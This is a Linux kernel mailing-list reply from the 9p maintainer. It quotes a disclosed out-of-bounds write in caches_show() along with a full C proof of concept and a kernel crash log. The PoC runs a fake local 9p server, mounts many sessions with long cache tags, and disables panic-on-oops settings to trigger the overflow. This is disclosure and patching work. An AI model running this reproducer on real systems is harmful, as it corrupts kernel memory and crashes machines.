Re: [PATCH 0/1] 9p: caches_show() out-of-bounds write
Dominique Martinet <[email protected]> Sun, 21 Jun 2026 07:16:16 +0900
| Newsgroups | dev.linux.lists.v9fs |
|---|---|
| Message-ID | <[email protected]> |
Ren Wei wrote on Sat, Jun 20, 2026 at 11:53:02PM +0800: > From: Zhao Zhang <[email protected]> > > Hi Linux kernel maintainers, There's no reason not to send that to the list (it requires privileges as you said), so quoting in full with v9fs@ in cc (I see you also sent a patch, I don't consider this a priority so will look at it more closely after the merge window; there's another similar fix for the v9fs tag show being discussed right now) > We found an issue in fs/9p/v9fs.c. > The bug is reachable by a privileged user with permission to mount 9p filesystems. > The relevant details are provided below. > > ---- details below ---- > > Bug details: > > The bug is in `caches_show()` for `/sys/fs/9p/caches`. > > That function iterates the global 9p session list and appends each > session's `cachetag` into the sysfs buffer with: > > `snprintf(buf + count, limit, "%s\n", v9ses->cachetag)` > > It then advances: > > `count += n;` > `limit -= n;` > > This is incorrect because `snprintf()` returns the full would-have-been > length, not the number of bytes actually stored. Once the accumulated > cache-tag output exceeds `PAGE_SIZE`, `count` advances past the end of > the sysfs buffer and `limit` becomes negative. > > A later iteration then passes an out-of-bounds destination pointer and a > large `size_t` converted from the negative `limit` into `snprintf()`, > leading to an out-of-bounds write in the sysfs show path. > > In practice this is reachable when `CONFIG_9P_FSCACHE` is enabled and a > privileged user mounts enough 9p instances with long `cachetag=` values > before reading `/sys/fs/9p/caches`. > > Reproducer: > > cc -x c -O2 -static -o mini_poc.bin mini_poc > ./mini_poc.bin > > > We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. > > ------BEGIN PoC------ > > #define _GNU_SOURCE > > #include <arpa/inet.h> > #include <errno.h> > #include <fcntl.h> > #include <signal.h> > #include <stdint.h> > #include <stdio.h> > #include <stdlib.h> > #include <string.h> > #include <sys/mount.h> > #include <sys/socket.h> > #include <sys/stat.h> > #include <sys/types.h> > #include <sys/wait.h> > #include <time.h> > #include <unistd.h> > > #define PORT 5640 > #define MOUNTS 19 > #define TAG_FILL 211 > > enum { > P9_RLERROR = 7, > P9_TGETATTR = 24, > P9_RGETATTR = 25, > P9_TVERSION = 100, > P9_RVERSION = 101, > P9_TATTACH = 104, > P9_RATTACH = 105, > P9_TFLUSH = 108, > P9_RFLUSH = 109, > P9_TCLUNK = 120, > P9_RCLUNK = 121, > }; > > static const char version_str[] = "9P2000.L"; > static const uint64_t p9_stats_mask = 0x7ffULL | 0x1000ULL; > > static void put_le16(unsigned char *p, uint16_t v) > { > p[0] = v & 0xff; > p[1] = (v >> 8) & 0xff; > } > > static void put_le32(unsigned char *p, uint32_t v) > { > p[0] = v & 0xff; > p[1] = (v >> 8) & 0xff; > p[2] = (v >> 16) & 0xff; > p[3] = (v >> 24) & 0xff; > } > > static void put_le64(unsigned char *p, uint64_t v) > { > put_le32(p, (uint32_t)v); > put_le32(p + 4, (uint32_t)(v >> 32)); > } > > static uint16_t get_le16(const unsigned char *p) > { > return (uint16_t)p[0] | ((uint16_t)p[1] << 8); > } > > static uint32_t get_le32(const unsigned char *p) > { > return (uint32_t)p[0] | > ((uint32_t)p[1] << 8) | > ((uint32_t)p[2] << 16) | > ((uint32_t)p[3] << 24); > } > > static ssize_t read_full(int fd, void *buf, size_t len) > { > size_t off = 0; > > while (off < len) { > ssize_t ret = read(fd, (char *)buf + off, len - off); > > if (ret == 0) > return off; > if (ret < 0) { > if (errno == EINTR) > continue; > return -1; > } > off += ret; > } > > return off; > } > > static int write_full(int fd, const void *buf, size_t len) > { > size_t off = 0; > > while (off < len) { > ssize_t ret = write(fd, (const char *)buf + off, len - off); > > if (ret < 0) { > if (errno == EINTR) > continue; > return -1; > } > off += ret; > } > > return 0; > } > > static int send_reply(int fd, uint8_t type, uint16_t tag, > const void *payload, uint32_t payload_len) > { > unsigned char hdr[7]; > > put_le32(hdr, 7 + payload_len); > hdr[4] = type; > put_le16(hdr + 5, tag); > if (write_full(fd, hdr, sizeof(hdr)) < 0) > return -1; > if (payload_len && write_full(fd, payload, payload_len) < 0) > return -1; > return 0; > } > > static int send_lerror(int fd, uint16_t tag, uint32_t err) > { > unsigned char payload[4]; > > put_le32(payload, err); > return send_reply(fd, P9_RLERROR, tag, payload, sizeof(payload)); > } > > static int handle_client(int fd) > { > static const unsigned char root_qid[13] = { > 0x80, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > }; > > for (;;) { > unsigned char hdr[7]; > unsigned char payload[8192]; > uint32_t size; > uint8_t type; > uint16_t tag; > > if (read_full(fd, hdr, sizeof(hdr)) != sizeof(hdr)) > return 0; > > size = get_le32(hdr); > type = hdr[4]; > tag = get_le16(hdr + 5); > if (size < sizeof(hdr) || size - sizeof(hdr) > sizeof(payload)) > return -1; > if (read_full(fd, payload, size - sizeof(hdr)) != > (ssize_t)(size - sizeof(hdr))) > return -1; > > switch (type) { > case P9_TVERSION: { > unsigned char out[4 + 2 + sizeof(version_str) - 1]; > uint32_t msize = 8192; > > if (size >= 11) > msize = get_le32(payload); > put_le32(out, msize); > put_le16(out + 4, sizeof(version_str) - 1); > memcpy(out + 6, version_str, sizeof(version_str) - 1); > if (send_reply(fd, P9_RVERSION, tag, out, sizeof(out)) < 0) > return -1; > break; > } > case P9_TATTACH: > if (send_reply(fd, P9_RATTACH, tag, > root_qid, sizeof(root_qid)) < 0) > return -1; > break; > case P9_TGETATTR: { > unsigned char out[153]; > uint64_t now = (uint64_t)time(NULL); > uint64_t vals[] = { > 2, 0, 0, 4096, 0, > now, 0, now, 0, now, 0, now, 0, 1, 1, > }; > size_t off = 0; > size_t i; > > memset(out, 0, sizeof(out)); > put_le64(out + off, p9_stats_mask); > off += 8; > memcpy(out + off, root_qid, sizeof(root_qid)); > off += sizeof(root_qid); > put_le32(out + off, 040755); > off += 4; > put_le32(out + off, 0); > off += 4; > put_le32(out + off, 0); > off += 4; > for (i = 0; i < sizeof(vals) / sizeof(vals[0]); i++) { > put_le64(out + off, vals[i]); > off += 8; > } > if (send_reply(fd, P9_RGETATTR, tag, out, sizeof(out)) < 0) > return -1; > break; > } > case P9_TCLUNK: > send_reply(fd, P9_RCLUNK, tag, NULL, 0); > return 0; > case P9_TFLUSH: > if (send_reply(fd, P9_RFLUSH, tag, NULL, 0) < 0) > return -1; > break; > default: > if (send_lerror(fd, tag, 95) < 0) > return -1; > break; > } > } > } > > static void server_loop(void) > { > struct sockaddr_in addr; > int one = 1; > int listen_fd; > > listen_fd = socket(AF_INET, SOCK_STREAM, 0); > if (listen_fd < 0) > _exit(1); > setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); > > memset(&addr, 0, sizeof(addr)); > addr.sin_family = AF_INET; > addr.sin_port = htons(PORT); > addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); > if (bind(listen_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) > _exit(1); > if (listen(listen_fd, 16) < 0) > _exit(1); > > for (;;) { > int client_fd = accept(listen_fd, NULL, NULL); > > if (client_fd < 0) { > if (errno == EINTR) > continue; > _exit(1); > } > handle_client(client_fd); > close(client_fd); > } > } > > static int write_text(const char *path, const char *text) > { > int fd = open(path, O_WRONLY); > size_t len = strlen(text); > > if (fd < 0) > return -1; > if (write_full(fd, text, len) < 0) { > close(fd); > return -1; > } > close(fd); > return 0; > } > > static void cleanup_mounts(const char *base) > { > char mp[128]; > int i; > > for (i = 1; i <= MOUNTS; i++) { > snprintf(mp, sizeof(mp), "%s/mnt.%d", base, i); > umount2(mp, MNT_DETACH); > } > } > > static int mount_sessions(const char *base) > { > char mp[128]; > char tag[4 + TAG_FILL + 1]; > char opts[512]; > int i; > > for (i = 1; i <= MOUNTS; i++) { > snprintf(mp, sizeof(mp), "%s/mnt.%d", base, i); > mkdir(mp, 0755); > snprintf(tag, sizeof(tag), "%03d_", i); > memset(tag + 4, 'A', TAG_FILL); > tag[sizeof(tag) - 1] = '\0'; > snprintf(opts, sizeof(opts), > "trans=tcp,port=%d,version=9p2000.L,cache=fscache,cachetag=%s", > PORT, tag); > if (mount("127.0.0.1", mp, "9p", 0, opts) < 0) { > perror("mount"); > return -1; > } > } > > return 0; > } > > static int dump_caches(void) > { > char buf[4096]; > int fd; > > fd = open("/sys/fs/9p/caches", O_RDONLY); > if (fd < 0) { > perror("open"); > return -1; > } > > for (;;) { > ssize_t ret = read(fd, buf, sizeof(buf)); > > if (ret == 0) > break; > if (ret < 0) { > perror("read"); > close(fd); > return -1; > } > if (write_full(STDOUT_FILENO, buf, ret) < 0) { > close(fd); > return -1; > } > } > > close(fd); > return 0; > } > > int main(void) > { > const char *base = "/tmp/v9fs-caches-poc"; > pid_t child; > int status = 1; > > if (geteuid() != 0) { > fprintf(stderr, "run as root\n"); > return 1; > } > > mkdir(base, 0755); > cleanup_mounts(base); > write_text("/proc/sys/kernel/panic_on_warn", "0\n"); > write_text("/proc/sys/kernel/panic_on_oops", "0\n"); > > child = fork(); > if (child < 0) { > perror("fork"); > return 1; > } > if (child == 0) > server_loop(); > > sleep(1); > if (mount_sessions(base) == 0 && dump_caches() == 0) > status = 0; > > cleanup_mounts(base); > kill(child, SIGTERM); > waitpid(child, NULL, 0); > return status; > } > > > ------END PoC-------- > > ----BEGIN crash log---- > > [ 312.177878][T10660] Kernel panic - not syncing: kernel: panic_on_warn set ... > [ 312.178459][T10660] CPU: 0 UID: 0 PID: 10660 Comm: cat Not tainted 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full) > [ 312.181692][T10660] check_panic_on_warn+0x61/0x80 > [ 312.182076][T10660] __warn+0xe8/0x330 > [ 312.189425][T10660] RIP: 0010:vsnprintf+0xbfb/0x1180 > [ 312.192016][T10660] RDX: 1ff400000138ef52 RSI: ffffffffffffff4d RDI: ff1100006f9850b3 > [ 312.195689][T10660] snprintf+0xaa/0xe0 > [ 312.197121][T10660] caches_show+0x79/0xe0 > [ 312.197845][T10660] sysfs_kf_seq_show+0x1bd/0x380 > [ 312.198611][T10660] seq_read_iter+0x40f/0x11f0 > [ 312.200066][T10660] vfs_read+0x6cd/0xb70 > [ 312.203264][T10660] ksys_read+0xf9/0x1d0 > [ 312.204639][T10660] do_syscall_64+0x116/0xf80 > [ 312.205311][T10660] entry_SYSCALL_64_after_hwframe+0x77/0x7f > > > -----END crash log----- > > Best regards, > Zhao Zhang > > > Zhao Zhang (1): > 9p: v9fs: fix caches_show() out-of-bounds write > > fs/9p/v9fs.c | 16 +++++----------- > 1 file changed, 5 insertions(+), 11 deletions(-) > -- Dominique Martinet | Asmadeus